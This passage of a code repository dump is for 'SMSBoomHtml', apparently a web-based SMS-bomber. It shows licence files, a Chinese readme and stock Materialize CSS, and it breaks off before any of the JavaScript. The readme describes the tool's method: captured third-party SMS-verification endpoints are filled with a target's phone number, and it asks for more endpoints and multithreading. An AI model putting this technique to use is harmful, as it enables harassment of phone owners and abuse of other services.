Repository: hirgen/SMSBoomHtml Branch: main Commit: e0cba022a49a Files: 9 Total size: 588.0 KB Directory structure: gitextract_s83i3bkj/ ├── LICENCE ├── LICENSE ├── Readme.md ├── css/ │ ├── materialize.css │ └── style.css ├── index.html └── js/ ├── api.js ├── init.js └── materialize.js ================================================ FILE CONTENTS ================================================ ================================================ FILE: LICENCE ================================================ DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE Version 2, December 2004 Copyright (C) 2004 Sam Hocevar Everyone is permitted to copy and distribute verbatim or modified copies of this license document, and changing it is allowed as long as the name is changed. DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. You just DO WHAT THE FUCK YOU WANT TO. ================================================ FILE: LICENSE ================================================ The MIT License (MIT) Copyright (c) 2014 Materialize Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: Readme.md ================================================

欢迎~这是短信轰炸机网页版~

(仅供学习,请勿滥用)
emmm,改版了,一些功能暂时移除,后期添加..
post已经搞好,欢迎添加接口(正式摆烂)
同时欢迎有才人士提供多线程思路~~

如何使用?

也有演示网站(不经常更新)
本网页具有极大开放性,您是可以自己添加接口的(手机号用{phone_number}代替)写入js变量
接口可以用抓包工具获取。

版权?

本项目使用WTFPL开源~ ================================================ FILE: css/materialize.css ================================================ /*! * Materialize v1.0.0-rc.1 (http://materializecss.com) * Copyright 2014-2017 Materialize * MIT License (https://raw.githubusercontent.com/Dogfalo/materialize/master/LICENSE) */ .materialize-red { background-color: #e51c23 !important; } .materialize-red-text { color: #e51c23 !important; } .materialize-red.lighten-5 { background-color: #fdeaeb !important; } .materialize-red-text.text-lighten-5 { color: #fdeaeb !important; } .materialize-red.lighten-4 { background-color: #f8c1c3 !important; } .materialize-red-text.text-lighten-4 { color: #f8c1c3 !important; } .materialize-red.lighten-3 { background-color: #f3989b !important; } .materialize-red-text.text-lighten-3 { color: #f3989b !important; } .materialize-red.lighten-2 { background-color: #ee6e73 !important; } .materialize-red-text.text-lighten-2 { color: #ee6e73 !important; } .materialize-red.lighten-1 { background-color: #ea454b !important; } .materialize-red-text.text-lighten-1 { color: #ea454b !important; } .materialize-red.darken-1 { background-color: #d0181e !important; } .materialize-red-text.text-darken-1 { color: #d0181e !important; } .materialize-red.darken-2 { background-color: #b9151b !important; } .materialize-red-text.text-darken-2 { color: #b9151b !important; } .materialize-red.darken-3 { background-color: #a21318 !important; } .materialize-red-text.text-darken-3 { color: #a21318 !important; } .materialize-red.darken-4 { background-color: #8b1014 !important; } .materialize-red-text.text-darken-4 { color: #8b1014 !important; } .red { background-color: #F44336 !important; } .red-text { color: #F44336 !important; } .red.lighten-5 { background-color: #FFEBEE !important; } .red-text.text-lighten-5 { color: #FFEBEE !important; } .red.lighten-4 { background-color: #FFCDD2 !important; } .red-text.text-lighten-4 { color: #FFCDD2 !important; } .red.lighten-3 { background-color: #EF9A9A !important; } .red-text.text-lighten-3 { color: #EF9A9A !important; } .red.lighten-2 { background-color: #E57373 !important; } .red-text.text-lighten-2 { color: #E57373 !important; } .red.lighten-1 { background-color: #EF5350 !important; } .red-text.text-lighten-1 { color: #EF5350 !important; } .red.darken-1 { background-color: #E53935 !important; } .red-text.text-darken-1 { color: #E53935 !important; } .red.darken-2 { background-color: #D32F2F !important; } .red-text.text-darken-2 { color: #D32F2F !important; } .red.darken-3 { background-color: #C62828 !important; } .red-text.text-darken-3 { color: #C62828 !important; } .red.darken-4 { background-color: #B71C1C !important; } .red-text.text-darken-4 { color: #B71C1C !important; } .red.accent-1 { background-color: #FF8A80 !important; } .red-text.text-accent-1 { color: #FF8A80 !important; } .red.accent-2 { background-color: #FF5252 !important; } .red-text.text-accent-2 { color: #FF5252 !important; } .red.accent-3 { background-color: #FF1744 !important; } .red-text.text-accent-3 { color: #FF1744 !important; } .red.accent-4 { background-color: #D50000 !important; } .red-text.text-accent-4 { color: #D50000 !important; } .pink { background-color: #e91e63 !important; } .pink-text { color: #e91e63 !important; } .pink.lighten-5 { background-color: #fce4ec !important; } .pink-text.text-lighten-5 { color: #fce4ec !important; } .pink.lighten-4 { background-color: #f8bbd0 !important; } .pink-text.text-lighten-4 { color: #f8bbd0 !important; } .pink.lighten-3 { background-color: #f48fb1 !important; } .pink-text.text-lighten-3 { color: #f48fb1 !important; } .pink.lighten-2 { background-color: #f06292 !important; } .pink-text.text-lighten-2 { color: #f06292 !important; } .pink.lighten-1 { background-color: #ec407a !important; } .pink-text.text-lighten-1 { color: #ec407a !important; } .pink.darken-1 { background-color: #d81b60 !important; } .pink-text.text-darken-1 { color: #d81b60 !important; } .pink.darken-2 { background-color: #c2185b !important; } .pink-text.text-darken-2 { color: #c2185b !important; } .pink.darken-3 { background-color: #ad1457 !important; } .pink-text.text-darken-3 { color: #ad1457 !important; } .pink.darken-4 { background-color: #880e4f !important; } .pink-text.text-darken-4 { color: #880e4f !important; } .pink.accent-1 { background-color: #ff80ab !important; } .pink-text.text-accent-1 { color: #ff80ab !important; } .pink.accent-2 { background-color: #ff4081 !important; } .pink-text.text-accent-2 { color: #ff4081 !important; } .pink.accent-3 { background-color: #f50057 !important; } .pink-text.text-accent-3 { color: #f50057 !important; } .pink.accent-4 { background-color: #c51162 !important; } .pink-text.text-accent-4 { color: #c51162 !important; } .purple { background-color: #9c27b0 !important; } .purple-text { color: #9c27b0 !important; } .purple.lighten-5 { background-color: #f3e5f5 !important; } .purple-text.text-lighten-5 { color: #f3e5f5 !important; } .purple.lighten-4 { background-color: #e1bee7 !important; } .purple-text.text-lighten-4 { color: #e1bee7 !important; } .purple.lighten-3 { background-color: #ce93d8 !important; } .purple-text.text-lighten-3 { color: #ce93d8 !important; } .purple.lighten-2 { background-color: #ba68c8 !important; } .purple-text.text-lighten-2 { color: #ba68c8 !important; } .purple.lighten-1 { background-color: #ab47bc !important; } .purple-text.text-lighten-1 { color: #ab47bc !important; } .purple.darken-1 { background-color: #8e24aa !important; } .purple-text.text-darken-1 { color: #8e24aa !important; } .purple.darken-2 { background-color: #7b1fa2 !important; } .purple-text.text-darken-2 { color: #7b1fa2 !important; } .purple.darken-3 { background-color: #6a1b9a !important; } .purple-text.text-darken-3 { color: #6a1b9a !important; } .purple.darken-4 { background-color: #4a148c !important; } .purple-text.text-darken-4 { color: #4a148c !important; } .purple.accent-1 { background-color: #ea80fc !important; } .purple-text.text-accent-1 { color: #ea80fc !important; } .purple.accent-2 { background-color: #e040fb !important; } .purple-text.text-accent-2 { color: #e040fb !important; } .purple.accent-3 { background-color: #d500f9 !important; } .purple-text.text-accent-3 { color: #d500f9 !important; } .purple.accent-4 { background-color: #aa00ff !important; } .purple-text.text-accent-4 { color: #aa00ff !important; } .deep-purple { background-color: #673ab7 !important; } .deep-purple-text { color: #673ab7 !important; } .deep-purple.lighten-5 { background-color: #ede7f6 !important; } .deep-purple-text.text-lighten-5 { color: #ede7f6 !important; } .deep-purple.lighten-4 { background-color: #d1c4e9 !important; } .deep-purple-text.text-lighten-4 { color: #d1c4e9 !important; } .deep-purple.lighten-3 { background-color: #b39ddb !important; } .deep-purple-text.text-lighten-3 { color: #b39ddb !important; } .deep-purple.lighten-2 { background-color: #9575cd !important; } .deep-purple-text.text-lighten-2 { color: #9575cd !important; } .deep-purple.lighten-1 { background-color: #7e57c2 !important; } .deep-purple-text.text-lighten-1 { color: #7e57c2 !important; } .deep-purple.darken-1 { background-color: #5e35b1 !important; } .deep-purple-text.text-darken-1 { color: #5e35b1 !important; } .deep-purple.darken-2 { background-color: #512da8 !important; } .deep-purple-text.text-darken-2 { color: #512da8 !important; } .deep-purple.darken-3 { background-color: #4527a0 !important; } .deep-purple-text.text-darken-3 { color: #4527a0 !important; } .deep-purple.darken-4 { background-color: #311b92 !important; } .deep-purple-text.text-darken-4 { color: #311b92 !important; } .deep-purple.accent-1 { background-color: #b388ff !important; } .deep-purple-text.text-accent-1 { color: #b388ff !important; } .deep-purple.accent-2 { background-color: #7c4dff !important; } .deep-purple-text.text-accent-2 { color: #7c4dff !important; } .deep-purple.accent-3 { background-color: #651fff !important; } .deep-purple-text.text-accent-3 { color: #651fff !important; } .deep-purple.accent-4 { background-color: #6200ea !important; } .deep-purple-text.text-accent-4 { color: #6200ea !important; } .indigo { background-color: #3f51b5 !important; } .indigo-text { color: #3f51b5 !important; } .indigo.lighten-5 { background-color: #e8eaf6 !important; } .indigo-text.text-lighten-5 { color: #e8eaf6 !important; } .indigo.lighten-4 { background-color: #c5cae9 !important; } .indigo-text.text-lighten-4 { color: #c5cae9 !important; } .indigo.lighten-3 { background-color: #9fa8da !important; } .indigo-text.text-lighten-3 { color: #9fa8da !important; } .indigo.lighten-2 { background-color: #7986cb !important; } .indigo-text.text-lighten-2 { color: #7986cb !important; } .indigo.lighten-1 { background-color: #5c6bc0 !important; } .indigo-text.text-lighten-1 { color: #5c6bc0 !important; } .indigo.darken-1 { background-color: #3949ab !important; } .indigo-text.text-darken-1 { color: #3949ab !important; } .indigo.darken-2 { background-color: #303f9f !important; } .indigo-text.text-darken-2 { color: #303f9f !important; } .indigo.darken-3 { background-color: #283593 !important; } .indigo-text.text-darken-3 { color: #283593 !important; } .indigo.darken-4 { background-color: #1a237e !important; } .indigo-text.text-darken-4 { color: #1a237e !important; } .indigo.accent-1 { background-color: #8c9eff !important; } .indigo-text.text-accent-1 { color: #8c9eff !important; } .indigo.accent-2 { background-color: #536dfe !important; } .indigo-text.text-accent-2 { color: #536dfe !important; } .indigo.accent-3 { background-color: #3d5afe !important; } .indigo-text.text-accent-3 { color: #3d5afe !important; } .indigo.accent-4 { background-color: #304ffe !important; } .indigo-text.text-accent-4 { color: #304ffe !important; } .blue { background-color: #2196F3 !important; } .blue-text { color: #2196F3 !important; } .blue.lighten-5 { background-color: #E3F2FD !important; } .blue-text.text-lighten-5 { color: #E3F2FD !important; } .blue.lighten-4 { background-color: #BBDEFB !important; } .blue-text.text-lighten-4 { color: #BBDEFB !important; } .blue.lighten-3 { background-color: #90CAF9 !important; } .blue-text.text-lighten-3 { color: #90CAF9 !important; } .blue.lighten-2 { background-color: #64B5F6 !important; } .blue-text.text-lighten-2 { color: #64B5F6 !important; } .blue.lighten-1 { background-color: #42A5F5 !important; } .blue-text.text-lighten-1 { color: #42A5F5 !important; } .blue.darken-1 { background-color: #1E88E5 !important; } .blue-text.text-darken-1 { color: #1E88E5 !important; } .blue.darken-2 { background-color: #1976D2 !important; } .blue-text.text-darken-2 { color: #1976D2 !important; } .blue.darken-3 { background-color: #1565C0 !important; } .blue-text.text-darken-3 { color: #1565C0 !important; } .blue.darken-4 { background-color: #0D47A1 !important; } .blue-text.text-darken-4 { color: #0D47A1 !important; } .blue.accent-1 { background-color: #82B1FF !important; } .blue-text.text-accent-1 { color: #82B1FF !important; } .blue.accent-2 { background-color: #448AFF !important; } .blue-text.text-accent-2 { color: #448AFF !important; } .blue.accent-3 { background-color: #2979FF !important; } .blue-text.text-accent-3 { color: #2979FF !important; } .blue.accent-4 { background-color: #2962FF !important; } .blue-text.text-accent-4 { color: #2962FF !important; } .light-blue { background-color: #03a9f4 !important; } .light-blue-text { color: #03a9f4 !important; } .light-blue.lighten-5 { background-color: #e1f5fe !important; } .light-blue-text.text-lighten-5 { color: #e1f5fe !important; } .light-blue.lighten-4 { background-color: #b3e5fc !important; } .light-blue-text.text-lighten-4 { color: #b3e5fc !important; } .light-blue.lighten-3 { background-color: #81d4fa !important; } .light-blue-text.text-lighten-3 { color: #81d4fa !important; } .light-blue.lighten-2 { background-color: #4fc3f7 !important; } .light-blue-text.text-lighten-2 { color: #4fc3f7 !important; } .light-blue.lighten-1 { background-color: #29b6f6 !important; } .light-blue-text.text-lighten-1 { color: #29b6f6 !important; } .light-blue.darken-1 { background-color: #039be5 !important; } .light-blue-text.text-darken-1 { color: #039be5 !important; } .light-blue.darken-2 { background-color: #0288d1 !important; } .light-blue-text.text-darken-2 { color: #0288d1 !important; } .light-blue.darken-3 { background-color: #0277bd !important; } .light-blue-text.text-darken-3 { color: #0277bd !important; } .light-blue.darken-4 { background-color: #01579b !important; } .light-blue-text.text-darken-4 { color: #01579b !important; } .light-blue.accent-1 { background-color: #80d8ff !important; } .light-blue-text.text-accent-1 { color: #80d8ff !important; } .light-blue.accent-2 { background-color: #40c4ff !important; } .light-blue-text.text-accent-2 { color: #40c4ff !important; } .light-blue.accent-3 { background-color: #00b0ff !important; } .light-blue-text.text-accent-3 { color: #00b0ff !important; } .light-blue.accent-4 { background-color: #0091ea !important; } .light-blue-text.text-accent-4 { color: #0091ea !important; } .cyan { background-color: #00bcd4 !important; } .cyan-text { color: #00bcd4 !important; } .cyan.lighten-5 { background-color: #e0f7fa !important; } .cyan-text.text-lighten-5 { color: #e0f7fa !important; } .cyan.lighten-4 { background-color: #b2ebf2 !important; } .cyan-text.text-lighten-4 { color: #b2ebf2 !important; } .cyan.lighten-3 { background-color: #80deea !important; } .cyan-text.text-lighten-3 { color: #80deea !important; } .cyan.lighten-2 { background-color: #4dd0e1 !important; } .cyan-text.text-lighten-2 { color: #4dd0e1 !important; } .cyan.lighten-1 { background-color: #26c6da !important; } .cyan-text.text-lighten-1 { color: #26c6da !important; } .cyan.darken-1 { background-color: #00acc1 !important; } .cyan-text.text-darken-1 { color: #00acc1 !important; } .cyan.darken-2 { background-color: #0097a7 !important; } .cyan-text.text-darken-2 { color: #0097a7 !important; } .cyan.darken-3 { background-color: #00838f !important; } .cyan-text.text-darken-3 { color: #00838f !important; } .cyan.darken-4 { background-color: #006064 !important; } .cyan-text.text-darken-4 { color: #006064 !important; } .cyan.accent-1 { background-color: #84ffff !important; } .cyan-text.text-accent-1 { color: #84ffff !important; } .cyan.accent-2 { background-color: #18ffff !important; } .cyan-text.text-accent-2 { color: #18ffff !important; } .cyan.accent-3 { background-color: #00e5ff !important; } .cyan-text.text-accent-3 { color: #00e5ff !important; } .cyan.accent-4 { background-color: #00b8d4 !important; } .cyan-text.text-accent-4 { color: #00b8d4 !important; } .teal { background-color: #009688 !important; } .teal-text { color: #009688 !important; } .teal.lighten-5 { background-color: #e0f2f1 !important; } .teal-text.text-lighten-5 { color: #e0f2f1 !important; } .teal.lighten-4 { background-color: #b2dfdb !important; } .teal-text.text-lighten-4 { color: #b2dfdb !important; } .teal.lighten-3 { background-color: #80cbc4 !important; } .teal-text.text-lighten-3 { color: #80cbc4 !important; } .teal.lighten-2 { background-color: #4db6ac !important; } .teal-text.text-lighten-2 { color: #4db6ac !important; } .teal.lighten-1 { background-color: #26a69a !important; } .teal-text.text-lighten-1 { color: #26a69a !important; } .teal.darken-1 { background-color: #00897b !important; } .teal-text.text-darken-1 { color: #00897b !important; } .teal.darken-2 { background-color: #00796b !important; } .teal-text.text-darken-2 { color: #00796b !important; } .teal.darken-3 { background-color: #00695c !important; } .teal-text.text-darken-3 { color: #00695c !important; } .teal.darken-4 { background-color: #004d40 !important; } .teal-text.text-darken-4 { color: #004d40 !important; } .teal.accent-1 { background-color: #a7ffeb !important; } .teal-text.text-accent-1 { color: #a7ffeb !important; } .teal.accent-2 { background-color: #64ffda !important; } .teal-text.text-accent-2 { color: #64ffda !important; } .teal.accent-3 { background-color: #1de9b6 !important; } .teal-text.text-accent-3 { color: #1de9b6 !important; } .teal.accent-4 { background-color: #00bfa5 !important; } .teal-text.text-accent-4 { color: #00bfa5 !important; } .green { background-color: #4CAF50 !important; } .green-text { color: #4CAF50 !important; } .green.lighten-5 { background-color: #E8F5E9 !important; } .green-text.text-lighten-5 { color: #E8F5E9 !important; } .green.lighten-4 { background-color: #C8E6C9 !important; } .green-text.text-lighten-4 { color: #C8E6C9 !important; } .green.lighten-3 { background-color: #A5D6A7 !important; } .green-text.text-lighten-3 { color: #A5D6A7 !important; } .green.lighten-2 { background-color: #81C784 !important; } .green-text.text-lighten-2 { color: #81C784 !important; } .green.lighten-1 { background-color: #66BB6A !important; } .green-text.text-lighten-1 { color: #66BB6A !important; } .green.darken-1 { background-color: #43A047 !important; } .green-text.text-darken-1 { color: #43A047 !important; } .green.darken-2 { background-color: #388E3C !important; } .green-text.text-darken-2 { color: #388E3C !important; } .green.darken-3 { background-color: #2E7D32 !important; } .green-text.text-darken-3 { color: #2E7D32 !important; } .green.darken-4 { background-color: #1B5E20 !important; } .green-text.text-darken-4 { color: #1B5E20 !important; } .green.accent-1 { background-color: #B9F6CA !important; } .green-text.text-accent-1 { color: #B9F6CA !important; } .green.accent-2 { background-color: #69F0AE !important; } .green-text.text-accent-2 { color: #69F0AE !important; } .green.accent-3 { background-color: #00E676 !important; } .green-text.text-accent-3 { color: #00E676 !important; } .green.accent-4 { background-color: #00C853 !important; } .green-text.text-accent-4 { color: #00C853 !important; } .light-green { background-color: #8bc34a !important; } .light-green-text { color: #8bc34a !important; } .light-green.lighten-5 { background-color: #f1f8e9 !important; } .light-green-text.text-lighten-5 { color: #f1f8e9 !important; } .light-green.lighten-4 { background-color: #dcedc8 !important; } .light-green-text.text-lighten-4 { color: #dcedc8 !important; } .light-green.lighten-3 { background-color: #c5e1a5 !important; } .light-green-text.text-lighten-3 { color: #c5e1a5 !important; } .light-green.lighten-2 { background-color: #aed581 !important; } .light-green-text.text-lighten-2 { color: #aed581 !important; } .light-green.lighten-1 { background-color: #9ccc65 !important; } .light-green-text.text-lighten-1 { color: #9ccc65 !important; } .light-green.darken-1 { background-color: #7cb342 !important; } .light-green-text.text-darken-1 { color: #7cb342 !important; } .light-green.darken-2 { background-color: #689f38 !important; } .light-green-text.text-darken-2 { color: #689f38 !important; } .light-green.darken-3 { background-color: #558b2f !important; } .light-green-text.text-darken-3 { color: #558b2f !important; } .light-green.darken-4 { background-color: #33691e !important; } .light-green-text.text-darken-4 { color: #33691e !important; } .light-green.accent-1 { background-color: #ccff90 !important; } .light-green-text.text-accent-1 { color: #ccff90 !important; } .light-green.accent-2 { background-color: #b2ff59 !important; } .light-green-text.text-accent-2 { color: #b2ff59 !important; } .light-green.accent-3 { background-color: #76ff03 !important; } .light-green-text.text-accent-3 { color: #76ff03 !important; } .light-green.accent-4 { background-color: #64dd17 !important; } .light-green-text.text-accent-4 { color: #64dd17 !important; } .lime { background-color: #cddc39 !important; } .lime-text { color: #cddc39 !important; } .lime.lighten-5 { background-color: #f9fbe7 !important; } .lime-text.text-lighten-5 { color: #f9fbe7 !important; } .lime.lighten-4 { background-color: #f0f4c3 !important; } .lime-text.text-lighten-4 { color: #f0f4c3 !important; } .lime.lighten-3 { background-color: #e6ee9c !important; } .lime-text.text-lighten-3 { color: #e6ee9c !important; } .lime.lighten-2 { background-color: #dce775 !important; } .lime-text.text-lighten-2 { color: #dce775 !important; } .lime.lighten-1 { background-color: #d4e157 !important; } .lime-text.text-lighten-1 { color: #d4e157 !important; } .lime.darken-1 { background-color: #c0ca33 !important; } .lime-text.text-darken-1 { color: #c0ca33 !important; } .lime.darken-2 { background-color: #afb42b !important; } .lime-text.text-darken-2 { color: #afb42b !important; } .lime.darken-3 { background-color: #9e9d24 !important; } .lime-text.text-darken-3 { color: #9e9d24 !important; } .lime.darken-4 { background-color: #827717 !important; } .lime-text.text-darken-4 { color: #827717 !important; } .lime.accent-1 { background-color: #f4ff81 !important; } .lime-text.text-accent-1 { color: #f4ff81 !important; } .lime.accent-2 { background-color: #eeff41 !important; } .lime-text.text-accent-2 { color: #eeff41 !important; } .lime.accent-3 { background-color: #c6ff00 !important; } .lime-text.text-accent-3 { color: #c6ff00 !important; } .lime.accent-4 { background-color: #aeea00 !important; } .lime-text.text-accent-4 { color: #aeea00 !important; } .yellow { background-color: #ffeb3b !important; } .yellow-text { color: #ffeb3b !important; } .yellow.lighten-5 { background-color: #fffde7 !important; } .yellow-text.text-lighten-5 { color: #fffde7 !important; } .yellow.lighten-4 { background-color: #fff9c4 !important; } .yellow-text.text-lighten-4 { color: #fff9c4 !important; } .yellow.lighten-3 { background-color: #fff59d !important; } .yellow-text.text-lighten-3 { color: #fff59d !important; } .yellow.lighten-2 { background-color: #fff176 !important; } .yellow-text.text-lighten-2 { color: #fff176 !important; } .yellow.lighten-1 { background-color: #ffee58 !important; } .yellow-text.text-lighten-1 { color: #ffee58 !important; } .yellow.darken-1 { background-color: #fdd835 !important; } .yellow-text.text-darken-1 { color: #fdd835 !important; } .yellow.darken-2 { background-color: #fbc02d !important; } .yellow-text.text-darken-2 { color: #fbc02d !important; } .yellow.darken-3 { background-color: #f9a825 !important; } .yellow-text.text-darken-3 { color: #f9a825 !important; } .yellow.darken-4 { background-color: #f57f17 !important; } .yellow-text.text-darken-4 { color: #f57f17 !important; } .yellow.accent-1 { background-color: #ffff8d !important; } .yellow-text.text-accent-1 { color: #ffff8d !important; } .yellow.accent-2 { background-color: #ffff00 !important; } .yellow-text.text-accent-2 { color: #ffff00 !important; } .yellow.accent-3 { background-color: #ffea00 !important; } .yellow-text.text-accent-3 { color: #ffea00 !important; } .yellow.accent-4 { background-color: #ffd600 !important; } .yellow-text.text-accent-4 { color: #ffd600 !important; } .amber { background-color: #ffc107 !important; } .amber-text { color: #ffc107 !important; } .amber.lighten-5 { background-color: #fff8e1 !important; } .amber-text.text-lighten-5 { color: #fff8e1 !important; } .amber.lighten-4 { background-color: #ffecb3 !important; } .amber-text.text-lighten-4 { color: #ffecb3 !important; } .amber.lighten-3 { background-color: #ffe082 !important; } .amber-text.text-lighten-3 { color: #ffe082 !important; } .amber.lighten-2 { background-color: #ffd54f !important; } .amber-text.text-lighten-2 { color: #ffd54f !important; } .amber.lighten-1 { background-color: #ffca28 !important; } .amber-text.text-lighten-1 { color: #ffca28 !important; } .amber.darken-1 { background-color: #ffb300 !important; } .amber-text.text-darken-1 { color: #ffb300 !important; } .amber.darken-2 { background-color: #ffa000 !important; } .amber-text.text-darken-2 { color: #ffa000 !important; } .amber.darken-3 { background-color: #ff8f00 !important; } .amber-text.text-darken-3 { color: #ff8f00 !important; } .amber.darken-4 { background-color: #ff6f00 !important; } .amber-text.text-darken-4 { color: #ff6f00 !important; } .amber.accent-1 { background-color: #ffe57f !important; } .amber-text.text-accent-1 { color: #ffe57f !important; } .amber.accent-2 { background-color: #ffd740 !important; } .amber-text.text-accent-2 { color: #ffd740 !important; } .amber.accent-3 { background-color: #ffc400 !important; } .amber-text.text-accent-3 { color: #ffc400 !important; } .amber.accent-4 { background-color: #ffab00 !important; } .amber-text.text-accent-4 { color: #ffab00 !important; } .orange { background-color: #ff9800 !important; } .orange-text { color: #ff9800 !important; } .orange.lighten-5 { background-color: #fff3e0 !important; } .orange-text.text-lighten-5 { color: #fff3e0 !important; } .orange.lighten-4 { background-color: #ffe0b2 !important; } .orange-text.text-lighten-4 { color: #ffe0b2 !important; } .orange.lighten-3 { background-color: #ffcc80 !important; } .orange-text.text-lighten-3 { color: #ffcc80 !important; } .orange.lighten-2 { background-color: #ffb74d !important; } .orange-text.text-lighten-2 { color: #ffb74d !important; } .orange.lighten-1 { background-color: #ffa726 !important; } .orange-text.text-lighten-1 { color: #ffa726 !important; } .orange.darken-1 { background-color: #fb8c00 !important; } .orange-text.text-darken-1 { color: #fb8c00 !important; } .orange.darken-2 { background-color: #f57c00 !important; } .orange-text.text-darken-2 { color: #f57c00 !important; } .orange.darken-3 { background-color: #ef6c00 !important; } .orange-text.text-darken-3 { color: #ef6c00 !important; } .orange.darken-4 { background-color: #e65100 !important; } .orange-text.text-darken-4 { color: #e65100 !important; } .orange.accent-1 { background-color: #ffd180 !important; } .orange-text.text-accent-1 { color: #ffd180 !important; } .orange.accent-2 { background-color: #ffab40 !important; } .orange-text.text-accent-2 { color: #ffab40 !important; } .orange.accent-3 { background-color: #ff9100 !important; } .orange-text.text-accent-3 { color: #ff9100 !important; } .orange.accent-4 { background-color: #ff6d00 !important; } .orange-text.text-accent-4 { color: #ff6d00 !important; } .deep-orange { background-color: #ff5722 !important; } .deep-orange-text { color: #ff5722 !important; } .deep-orange.lighten-5 { background-color: #fbe9e7 !important; } .deep-orange-text.text-lighten-5 { color: #fbe9e7 !important; } .deep-orange.lighten-4 { background-color: #ffccbc !important; } .deep-orange-text.text-lighten-4 { color: #ffccbc !important; } .deep-orange.lighten-3 { background-color: #ffab91 !important; } .deep-orange-text.text-lighten-3 { color: #ffab91 !important; } .deep-orange.lighten-2 { background-color: #ff8a65 !important; } .deep-orange-text.text-lighten-2 { color: #ff8a65 !important; } .deep-orange.lighten-1 { background-color: #ff7043 !important; } .deep-orange-text.text-lighten-1 { color: #ff7043 !important; } .deep-orange.darken-1 { background-color: #f4511e !important; } .deep-orange-text.text-darken-1 { color: #f4511e !important; } .deep-orange.darken-2 { background-color: #e64a19 !important; } .deep-orange-text.text-darken-2 { color: #e64a19 !important; } .deep-orange.darken-3 { background-color: #d84315 !important; } .deep-orange-text.text-darken-3 { color: #d84315 !important; } .deep-orange.darken-4 { background-color: #bf360c !important; } .deep-orange-text.text-darken-4 { color: #bf360c !important; } .deep-orange.accent-1 { background-color: #ff9e80 !important; } .deep-orange-text.text-accent-1 { color: #ff9e80 !important; } .deep-orange.accent-2 { background-color: #ff6e40 !important; } .deep-orange-text.text-accent-2 { color: #ff6e40 !important; } .deep-orange.accent-3 { background-color: #ff3d00 !important; } .deep-orange-text.text-accent-3 { color: #ff3d00 !important; } .deep-orange.accent-4 { background-color: #dd2c00 !important; } .deep-orange-text.text-accent-4 { color: #dd2c00 !important; } .brown { background-color: #795548 !important; } .brown-text { color: #795548 !important; } .brown.lighten-5 { background-color: #efebe9 !important; } .brown-text.text-lighten-5 { color: #efebe9 !important; } .brown.lighten-4 { background-color: #d7ccc8 !important; } .brown-text.text-lighten-4 { color: #d7ccc8 !important; } .brown.lighten-3 { background-color: #bcaaa4 !important; } .brown-text.text-lighten-3 { color: #bcaaa4 !important; } .brown.lighten-2 { background-color: #a1887f !important; } .brown-text.text-lighten-2 { color: #a1887f !important; } .brown.lighten-1 { background-color: #8d6e63 !important; } .brown-text.text-lighten-1 { color: #8d6e63 !important; } .brown.darken-1 { background-color: #6d4c41 !important; } .brown-text.text-darken-1 { color: #6d4c41 !important; } .brown.darken-2 { background-color: #5d4037 !important; } .brown-text.text-darken-2 { color: #5d4037 !important; } .brown.darken-3 { background-color: #4e342e !important; } .brown-text.text-darken-3 { color: #4e342e !important; } .brown.darken-4 { background-color: #3e2723 !important; } .brown-text.text-darken-4 { color: #3e2723 !important; } .blue-grey { background-color: #607d8b !important; } .blue-grey-text { color: #607d8b !important; } .blue-grey.lighten-5 { background-color: #eceff1 !important; } .blue-grey-text.text-lighten-5 { color: #eceff1 !important; } .blue-grey.lighten-4 { background-color: #cfd8dc !important; } .blue-grey-text.text-lighten-4 { color: #cfd8dc !important; } .blue-grey.lighten-3 { background-color: #b0bec5 !important; } .blue-grey-text.text-lighten-3 { color: #b0bec5 !important; } .blue-grey.lighten-2 { background-color: #90a4ae !important; } .blue-grey-text.text-lighten-2 { color: #90a4ae !important; } .blue-grey.lighten-1 { background-color: #78909c !important; } .blue-grey-text.text-lighten-1 { color: #78909c !important; } .blue-grey.darken-1 { background-color: #546e7a !important; } .blue-grey-text.text-darken-1 { color: #546e7a !important; } .blue-grey.darken-2 { background-color: #455a64 !important; } .blue-grey-text.text-darken-2 { color: #455a64 !important; } .blue-grey.darken-3 { background-color: #37474f !important; } .blue-grey-text.text-darken-3 { color: #37474f !important; } .blue-grey.darken-4 { background-color: #263238 !important; } .blue-grey-text.text-darken-4 { color: #263238 !important; } .grey { background-color: #9e9e9e !important; } .grey-text { color: #9e9e9e !important; } .grey.lighten-5 { background-color: #fafafa !important; } .grey-text.text-lighten-5 { color: #fafafa !important; } .grey.lighten-4 { background-color: #f5f5f5 !important; } .grey-text.text-lighten-4 { color: #f5f5f5 !important; } .grey.lighten-3 { background-color: #eeeeee !important; } .grey-text.text-lighten-3 { color: #eeeeee !important; } .grey.lighten-2 { background-color: #e0e0e0 !important; } .grey-text.text-lighten-2 { color: #e0e0e0 !important; } .grey.lighten-1 { background-color: #bdbdbd !important; } .grey-text.text-lighten-1 { color: #bdbdbd !important; } .grey.darken-1 { background-color: #757575 !important; } .grey-text.text-darken-1 { color: #757575 !important; } .grey.darken-2 { background-color: #616161 !important; } .grey-text.text-darken-2 { color: #616161 !important; } .grey.darken-3 { background-color: #424242 !important; } .grey-text.text-darken-3 { color: #424242 !important; } .grey.darken-4 { background-color: #212121 !important; } .grey-text.text-darken-4 { color: #212121 !important; } .black { background-color: #000000 !important; } .black-text { color: #000000 !important; } .white { background-color: #FFFFFF !important; } .white-text { color: #FFFFFF !important; } .transparent { background-color: transparent !important; } .transparent-text { color: transparent !important; } /*! normalize.css v7.0.0 | MIT License | github.com/necolas/normalize.css */ /* Document ========================================================================== */ /** * 1. Correct the line height in all browsers. * 2. Prevent adjustments of font size after orientation changes in * IE on Windows Phone and in iOS. */ html { line-height: 1.15; /* 1 